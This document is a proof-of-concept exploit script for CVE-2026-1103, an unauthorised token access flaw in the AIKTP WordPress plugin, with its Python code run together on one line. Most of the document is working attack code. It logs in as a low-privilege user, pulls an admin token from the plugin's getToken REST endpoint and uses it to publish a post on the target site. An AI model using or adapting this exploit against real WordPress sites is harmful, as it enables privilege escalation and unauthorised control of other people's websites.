CVE-2026-1103 WordPress AIKTP插件未授权访问漏洞

import requests import sys # CVE-2026-1103 PoC - AIKTP Plugin Unauthorized Token Access # This PoC demonstrates how a low-privilege user can obtain admin tokens target = input("Enter target URL (e.g., http://example.com): ").strip() username = input("Enter low-privilege username: ").strip() password = input("Enter password: ").strip() session = requests.Session() # Step 1: Login as low-privilege user (subscriber role) login_url = f"{target}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target}/wp-admin/" } print("[*] Attempting to login as low-privilege user...") login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies) and 'wordpress_logged_in' not in str(login_response.cookies): print("[-] Login failed. Check credentials.") sys.exit(1) print("[+] Login successful!") # Step 2: Request admin token via vulnerable endpoint token_url = f"{target}/wp-json/aiktp/getToken" print(f"[*] Requesting admin token from: {token_url}") token_response = session.get(token_url) if token_response.status_code == 200: try: token_data = token_response.json() admin_token = token_data.get('token') or token_data.get('aiktpz_token') or token_data.get('data', {}).get('token') if admin_token: print(f"[CRITICAL] Admin token obtained: {admin_token}") print("[!] This token can be used to perform admin actions!") # Step 3: Demonstrate token usage (optional) headers = {'Authorization': f'Bearer {admin_token}'} posts_url = f"{target}/wp-json/wp/v2/posts" test_post = session.post(posts_url, headers=headers, json={ 'title': 'Unauthorized Post via CVE-2026-1103', 'content': 'This post was created by exploiting the AIKTP vulnerability.', 'status': 'publish' }) if test_post.status_code in [200, 201]: print(f"[+] Successfully created post! Post ID: {test_post.json().get('id')}") else: print(f"[-] Post creation failed: {test_post.status_code}") else: print("[-] No token found in response") print(f"[-] Response: {token_response.text}") except Exception as e: print(f"[-] Error parsing response: {e}") else: print(f"[-] Token request failed with status: {token_response.status_code}") print(f"[-] Response: {token_response.text}")